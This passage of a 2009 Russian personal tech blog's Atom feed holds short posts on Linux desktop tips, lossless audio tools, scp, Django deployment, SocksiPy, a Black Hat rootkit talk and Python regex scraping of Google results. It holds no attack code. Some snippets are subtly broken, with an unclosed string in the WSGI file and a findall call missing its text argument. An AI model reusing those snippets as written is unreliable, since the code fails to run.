/mnt/iso&lt;br /&gt;# ...&lt;br /&gt;# umount /mnt/iso&lt;br /&gt;# echo profit!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-6928194052312934306?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/6928194052312934306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/12/iso-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6928194052312934306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6928194052312934306'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/12/iso-linux.html' title='Монтирование iso в Linux'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-8975857867732354739</id><published>2009-11-14T17:57:00.000-08:00</published><updated>2009-11-14T20:01:03.711-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='useful'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><title type='text'>Минимизация всех окон в KDE4</title><content type='html'>Меня очень расстроил тот факт, что для минимизации окон  следует подключать отдельный виджет, который жрет память и место на панели. Я начал искать пути отступления и по мотивам &lt;a href="http://blog.hartwork.org/?p=524"&gt;этого&lt;/a&gt; поста докладываю.&lt;br /&gt;&lt;br /&gt;Для сворачивания всех окон используем этот скрипт:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;#!/bin/sh&lt;br /&gt;target=on&lt;br /&gt;if xprop -root  _NET_SHOWING_DESKTOP | fgrep '= 1' ; then&lt;br /&gt; target=off&lt;br /&gt;fi&lt;br /&gt;wmctrl -k ${target}&lt;/blockquote&gt;Для его корректной работы необходима утилита &lt;span style="font-weight: bold;"&gt;xprop&lt;/span&gt;, входящая в пакет &lt;span style="font-weight: bold;"&gt;x11-utils&lt;/span&gt;, а также утилита &lt;span style="font-weight: bold;"&gt;wmctrl&lt;/span&gt;, которая сама по себе. После сохранения скрипта в каком-то файле и &lt;span style="font-weight: bold;"&gt;chmod&lt;/span&gt;'ания на +х добавляем ссылку на него в KDE Menu (&lt;span style="font-weight: bold;"&gt;kmenuedit&lt;/span&gt;) и во вкладке Advanced прописываем Current shortcut key. У меня это &lt;span style="font-weight: bold;"&gt;Win+D&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Profit!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-8975857867732354739?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/8975857867732354739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/11/kde4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8975857867732354739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8975857867732354739'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/11/kde4.html' title='Минимизация всех окон в KDE4'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-3162090915264682674</id><published>2009-11-08T12:39:00.000-08:00</published><updated>2009-11-08T12:50:18.321-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='useful'/><title type='text'>Определение транскодов в Linux</title><content type='html'>Под "транскодом" в данном случае я подразумеваю mp3 файл переконвертированный во flac. Таким образом размер файла раздувается, а качество остается без изменений. На слух, конечно, это тоже вполне заметно, а вот убедиться точно поможет программа Audacity.&lt;br /&gt;&lt;br /&gt;Открываем нужный трек (Ctrl+O). Далее из меню Analyze &gt; Plot spectrum построит нам спектрограмму, на которой можно увидеть распределение частот. Lossy форматы отличаются тем, что обрезают верхний диапазон частот для уменьшения размера файла. Это можно пронаблюдать на следующем рисунке:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://lh5.ggpht.com/_u_Y3wi_bosc/SvcrPl3n5XI/AAAAAAAAAEc/DIb6Nqtw1TY/lossy.png"&gt;&lt;img src="http://lh5.ggpht.com/_u_Y3wi_bosc/SvcrPl3n5XI/AAAAAAAAAEc/DIb6Nqtw1TY/s288/lossy.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Виден явный спад в области 16 кГц. А так выглядит спектрограмма нормального трека:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://lh6.ggpht.com/_u_Y3wi_bosc/SvcrPgdof_I/AAAAAAAAAEY/GqY_Z7M0oSw/lossless.png"&gt;&lt;img src="http://lh6.ggpht.com/_u_Y3wi_bosc/SvcrPgdof_I/AAAAAAAAAEY/GqY_Z7M0oSw/s288/lossless.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-3162090915264682674?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/3162090915264682674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/11/linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3162090915264682674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3162090915264682674'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/11/linux.html' title='Определение транскодов в Linux'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_u_Y3wi_bosc/SvcrPl3n5XI/AAAAAAAAAEc/DIb6Nqtw1TY/s72-c/lossy.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-4516315229163855226</id><published>2009-11-01T10:09:00.000-08:00</published><updated>2009-11-08T12:30:11.183-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='useful'/><title type='text'>Играемся с lossless в Linux</title><content type='html'>Опишу решение ряда проблем, вставших перед рядовым слушателем lossless музыки в Linux, в частности Debian-based дистрибутивах (я использую Kubuntu):&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Конвертация APE -&gt; FLAC&lt;/li&gt;&lt;li&gt;Разделение образа диска на треки по CUE файлу&lt;/li&gt;&lt;li&gt;Именование треков по тэгам&lt;/li&gt;&lt;/ul&gt;Для конвертации понадобятся два пакета: flac и mac. Первый устанавливается из репозиториев:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;sudo apt-get install flac&lt;/blockquote&gt;Второго в репозиториях нет, поэтому нужно скачать .deb файл &lt;a href="http://members.iinet.net.au/%7Eaidanjm/mac-3.99-u4_b3-1_i386.deb"&gt;отсюда&lt;/a&gt; и далее:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;sudo dpkg -i mac-3.99-u4_b3-1_i386.deb&lt;/blockquote&gt;Для разделения образа на треки нужны пакеты cuetools и shntool:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;sudo apt-get install cuetools shntool&lt;/blockquote&gt;Для именования треков - софтина EasyTAG с непростым GTK фронтэндом:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;sudo apt-get install easytag&lt;/blockquote&gt;Конвертим из APE во FLAC все файлы в текущей директории:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;shnconv -o flac *.ape&lt;/blockquote&gt;Делим FLAC образ на треки:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;cuebreakpoints file.cue | shnsplit -o flac image.flac&lt;/blockquote&gt;Делим APE образ на треки во FLAC:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;cuebreakpoints file.cue | shnsplit -o flac image.ape&lt;/blockquote&gt;После разделения у треков будут имена типа "split-track01.flac", это не гуд. Но тэги будут прописаны по CUE файлу, стало быть, можно переименовать файлы согласно тэгам. И в этом поможет EasyTAG, работу с которой описывать смысла нет, ибо gui :(&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-4516315229163855226?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/4516315229163855226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/11/lossless-linux.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4516315229163855226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4516315229163855226'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/11/lossless-linux.html' title='Играемся с lossless в Linux'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-2483365897710728856</id><published>2009-09-28T02:32:00.000-07:00</published><updated>2009-11-08T12:30:31.574-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='useful'/><title type='text'>scp - безопасное копирование файлов между компьютерами</title><content type='html'>Открываю тэги "useful" и "*nix"! Утилита &lt;span&gt;scp&lt;/span&gt; пригодится, если нужно перекинуть файл с одного компа на другой. В большинстве случаев хватает этого синтаксиса:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;scp &lt;юзер&gt;@&lt;комп&gt;:&lt;что копировать&gt; &lt;юзер&gt;@&lt;комп&gt;:&lt;куда копировать&gt;&lt;/blockquote&gt;В частном случае утилита может быть использована для передачи файлов между локальным компьютером и удаленным. В таком случае реквизиты &lt;span style="font-style: italic;"&gt;&lt;юзер&gt;@&lt;имя компа&gt;&lt;/span&gt; локального компьютера можно опустить.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-2483365897710728856?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/2483365897710728856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/09/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2483365897710728856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2483365897710728856'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/09/blog-post.html' title='scp - безопасное копирование файлов между компьютерами'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-1653567291373839403</id><published>2009-09-16T02:55:00.000-07:00</published><updated>2009-09-16T04:40:57.567-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>Радости разработки на Django</title><content type='html'>Недавно заинтересовался разработкой веб-приложений на Python, соотвественно, решил воспользоваться фреймворком Django. В этой заметке хочу описать процесс создания и запуска проекта Django на Apache, ибо запуск приложений на сервере хостера заметно отличается от запуска их на локальном компьютере (что описывается в первых главах &lt;a href="http://www.djbook.ru/"&gt;DjangoBook&lt;/a&gt;), как оказалось.&lt;br /&gt;&lt;br /&gt;На моём хостинге уже был установлен Django и соотвествующим образом настроен Apache, поэтому первое, что нужно сделать - это создать проект. В моем случае последовала команда:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;~/www/webapp$ django-admin.py startproject mysite&lt;/blockquote&gt;После этого в папке mysite создался проект django, включающий в себя несколько файлов (подробное описание их опускаю, можно найти в &lt;a href="http://www.djbook.ru/ch02s04.html"&gt;DjangoBook&lt;/a&gt;).&lt;br /&gt;Далее согласно мануалу нужно создать WSGI-приложение webapp.wsgi следующего содержания:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;import os, sys&lt;br /&gt;sys.path.append('/home/www/webapp)&lt;br /&gt;os.environ['DJANGO_SETTINGS_MODULE'] = 'mysite.settings'&lt;br /&gt;&lt;br /&gt;import django.core.handlers.wsgi&lt;br /&gt;&lt;br /&gt;application = django.core.handlers.wsgi.WSGIHandler()&lt;/blockquote&gt;В итоге получаем приветственную страницу Django по ссылке http://сайт/webapp&lt;br /&gt;Чтобы получать доступ к Django из корня сайта, нужно написать rewrite правило в файле .htaccess, который должен располагаться в папочке public_html:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;RewriteEngine On&lt;br /&gt;RewriteRule ^(.*)$ /webapp/$1 [L,QSA]&lt;/blockquote&gt;Теперь привественная страничка доступна по нормальной ссылке, далее можно продолжать разработку согласно &lt;a href="http://www.djbook.ru/ch03.html"&gt;DjangoBook&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-1653567291373839403?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/1653567291373839403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/09/django.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1653567291373839403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1653567291373839403'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/09/django.html' title='Радости разработки на Django'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-4378439900522150892</id><published>2009-08-04T05:15:00.000-07:00</published><updated>2009-08-04T10:59:49.668-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='socks'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>SocksiPy - надеваем носки правильно</title><content type='html'>&lt;a href="http://socksipy.sourceforge.net/"&gt;SocksiPy&lt;/a&gt; - небольшой модуль, призванный решить задачу подключения через SOCKS прокси, которая не реализована в стандартных библиотеках типа urllib и urllib2. Модуль позволяет работать с SOCKS четвертой и пятой версий, а также и с HTTP прокси, поддерживающими метод CONNECT. После установки коннекта поведение объекта не отличается от простого сокета. Пример кода:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;import socks&lt;br /&gt;s = socks.socksocket()&lt;br /&gt;s.setproxy(socks.PROXY_TYPE_SOCKS5,"socks.example.com")&lt;br /&gt;s.connect(("www.example.com",80))&lt;/blockquote&gt;Также существует возможность перезаписи стандатного метода сокета так, чтобы все свежесозданные сокеты работали через прокси. Удобно, если в своей программе нужно пустить весь трафик через прокси:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,"socks.example.com")&lt;br /&gt;socket.socket = socks.socksocket&lt;br /&gt;urllib.urlopen("http://ivinside.blogspot.com/")&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-4378439900522150892?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/4378439900522150892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/08/socksipy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4378439900522150892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4378439900522150892'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/08/socksipy.html' title='SocksiPy - надеваем носки правильно'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-1887113317977497170</id><published>2009-08-02T12:54:00.000-07:00</published><updated>2009-08-02T15:54:23.157-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rootkits'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Руткиты -3 кольца</title><content type='html'>Вот &lt;a href="http://invisiblethingslab.com/resources/bh09usa/Ring%20-3%20Rootkits.pdf"&gt;здесь&lt;/a&gt; появились слайды (в количестве 85 штук) с презентации "Introducing Ring -3 Rootkits", которая проходила в рамках Black Hat USA 2009. До чего хитроумные хакеры дошли! Исполняют свои коды на чипсетах... Соотвественно, если к вам попадет такой руткит, то банальная переустановка ОС уже не поможет. На чипсеты Q35 от Intel руткит загружается через Intel Active Management Technology (&lt;a href="http://www.intel.com/technology/platform-technology/intel-amt/"&gt;AMT&lt;/a&gt;). На этих чипсетах установлен процессор типа ARC4 с RISC архитектурой, под который потребуется соотвествующий &lt;a href="http://www.arc.com/software/gnutools/"&gt;компилятор&lt;/a&gt;. Для последних чипсетов типа Q45 память под AMT дополнительно защищена, так что данные руткиты уже неработоспособны. Читайте подробности в презентации и повышайте квалификацию!&lt;br /&gt;&lt;br /&gt;И да, собственно материалы из Лас-Вегаса доступны &lt;a href="https://www.blackhat.com/html/bh-usa-09/bh-usa-09-archives.html"&gt;тут&lt;/a&gt;. Очень много интересного.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-1887113317977497170?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/1887113317977497170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/08/3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1887113317977497170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1887113317977497170'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/08/3.html' title='Руткиты -3 кольца'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-8948805279953279764</id><published>2009-07-31T03:33:00.000-07:00</published><updated>2009-08-02T08:43:56.636-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='samurai'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>Samurai WTF</title><content type='html'>Вышла следующая девелоп версия &lt;a href="http://sourceforge.net/projects/samurai/"&gt;Samurai WTF&lt;/a&gt; - платформы для аудита веб-приложений.&lt;br /&gt;Ченджлог:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;Installed Cewl from dijininja.org -- Kevin Johnson&lt;br /&gt;Updated Ubunutu patches as of July 23, 2009 -- Frank DiMaggio&lt;br /&gt;Updated w3af from SVN as of July 25, 2009 -- Kevin Johnson&lt;br /&gt;Fixed sqlninja.sh -- Frank DiMaggio&lt;br /&gt;Fixed sqlmap.sh to include the -h -- Kevin Johnson for Tim Medin&lt;br /&gt;Updated sqlmap to 0.7 -- Frank DiMaggio and Kevin Johnson&lt;br /&gt;Updated Firefox add-on Hackbar -- Kevin Johnson&lt;br /&gt;Updated Firefox add-on XSS Me -- Kevin Johnson&lt;br /&gt;Updated Firefox add-on Header Spy -- Kevin Johnson&lt;br /&gt;Updated Firefox add-on User Agent Switcher -- Kevin Johnson&lt;br /&gt;Updated jBroFuzz to 1.4 -- Kevin Johnson&lt;br /&gt;Upgrade nmap to 5.0 -- Kevin Johnson&lt;br /&gt;Installed Durzosploit from SVN as of July 18, 2009 -- Kevin Johnson&lt;br /&gt;Installed BrowserRider from SVN as of July 18, 2009 -- Frank DiMaggio&lt;br /&gt;Added Jason Wood's username generator scripts -- Kevin Johnson&lt;br /&gt;Updated MaltegoCE to 2.02 -- Frank DiMaggio&lt;br /&gt;Added Laudanum Files -- Kevin Johnson&lt;br /&gt;Added GPScan.rb from dijininja.org -- Kevin Johnson&lt;br /&gt;Added HowTo videos from Pauldotcom -- Kevin Johnson&lt;/blockquote&gt;Картинка:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://sourceforge.net/dbimage.php?id=189633" /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-8948805279953279764?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/8948805279953279764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/07/samurai-wtf.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8948805279953279764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8948805279953279764'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/07/samurai-wtf.html' title='Samurai WTF'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-655169423810100893</id><published>2009-07-24T02:33:00.000-07:00</published><updated>2009-11-08T12:36:58.627-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='re'/><title type='text'>re - регулярные выражения в python</title><content type='html'>Осознание регулярных выражений далось мне не сразу, но если поэкспериментировать, то всё будет ок. Не буду затрагивать аспекты, которые даются в книгах, а расскажу лишь про сложности, которые возникли у меня.&lt;br /&gt;&lt;br /&gt;Про &lt;a href="http://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80"&gt;квантификацию&lt;/a&gt;: жадная, ленивая, ревнивая. Ревнивой я вообще никогда не пользовался, а вот про жадную пару слов. К примеру, символ "точка" означает любой символ. Выражение ".+" означает один и более символов - вплоть до конца анализируемого фрагмента. С таким выражением далеко не уедешь, поясню почему. Имеем следующий фрагмент html-кода:&lt;br /&gt;&amp;lt;a href='www.site.com'&amp;gt;GSOM&amp;lt;/a&amp;gt; &amp;lt;b&amp;gt;пум-пу-рум&amp;lt;/b&amp;gt;&lt;br /&gt;Если применить к этому фрагменту выражение &amp;lt;a href='(.+)'&amp;gt; с целью получения ссылки, то оно жадно зохавает всю строку, ибо последний знак "&gt;" встречается и в самом в конце! Уталить жадность точки поможет вопросительный знак. И вот, если применить выражение "&amp;lt;a href='(.+?)'&amp;gt;", то получим то, что надо: www.site.com&lt;br /&gt;&lt;br /&gt;Вообще, у меня выражение (.+?) - одно из самых востребованных при парсинге html-кода.&lt;br /&gt;В качестве примера проапгрейдим один из предыдущий с выдачей гугла так, чтобы на экран выводились только ссылки по запросу:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;import urllib2, re&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;search = 'ivinside.blogspot.com'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;req = urllib2.Request("http://www.google.ru/search?q=" + search + "&amp;amp;start=0&amp;amp;ie=utf-8&amp;amp;oe=utf-8", None, headers)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;response = urllib2.urlopen(req)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;for url in re.findall(r'&lt;/span&gt;&amp;lt;&lt;span style="font-style: italic;"&gt;class="r"&lt;/span&gt;&amp;gt;&amp;lt;&lt;span style="font-style: italic;"&gt;href="(.+?)"&lt;/span&gt;&amp;gt;')&lt;/blockquote&gt;&lt;span&gt;Итак регулярное выражение &lt;span&gt;'&lt;/span&gt;&lt;/span&gt;&amp;lt;&lt;span&gt;&lt;span&gt;class="r"&lt;/span&gt;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span&gt;&lt;span&gt;href="(.+?)"&lt;/span&gt;&lt;/span&gt;&amp;gt;&lt;span&gt;&lt;span&gt;' откуда я его взял? Посмотрел в исходнике выдачи гугла и увидел нечто похожее на &lt;/span&gt;&lt;/span&gt;&amp;lt;&lt;span&gt;&lt;span&gt;&lt;span class="start-tag"&gt;h3&lt;/span&gt;&lt;span class="attribute-name"&gt; class&lt;/span&gt;=&lt;span class="attribute-value"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&amp;lt;&amp;gt;&lt;span&gt;&lt;span&gt;&lt;span class="start-tag"&gt;a&lt;/span&gt;&lt;span class="attribute-name"&gt; href&lt;/span&gt;=&lt;span class="attribute-value"&gt;"http://site.com" &lt;/span&gt;&lt;span class="attribute-name"&gt;target&lt;/span&gt;=&lt;span class="attribute-value"&gt;_blank &lt;/span&gt;&lt;span class="attribute-name"&gt;class&lt;/span&gt;=&lt;span class="attribute-value"&gt;l ... и применил к этому своё излюбленное точка-плюсик-вопросительный-знак. То-то же.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="attribute-value"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-655169423810100893?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/655169423810100893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/07/re-python.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/655169423810100893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/655169423810100893'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/07/re-python.html' title='re - регулярные выражения в python'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-1576045822602404302</id><published>2009-07-21T00:08:00.000-07:00</published><updated>2009-07-21T00:55:32.985-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='urllib2'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>urllib2 - начало</title><content type='html'>urllib2 - библиотечка, с помощью которой удобно обрабатывать веб-странички, заполнять веб формы, обрабатывать куки, соединяться через прокси и прочее.&lt;br /&gt;&lt;br /&gt;Простейший пример:&lt;br 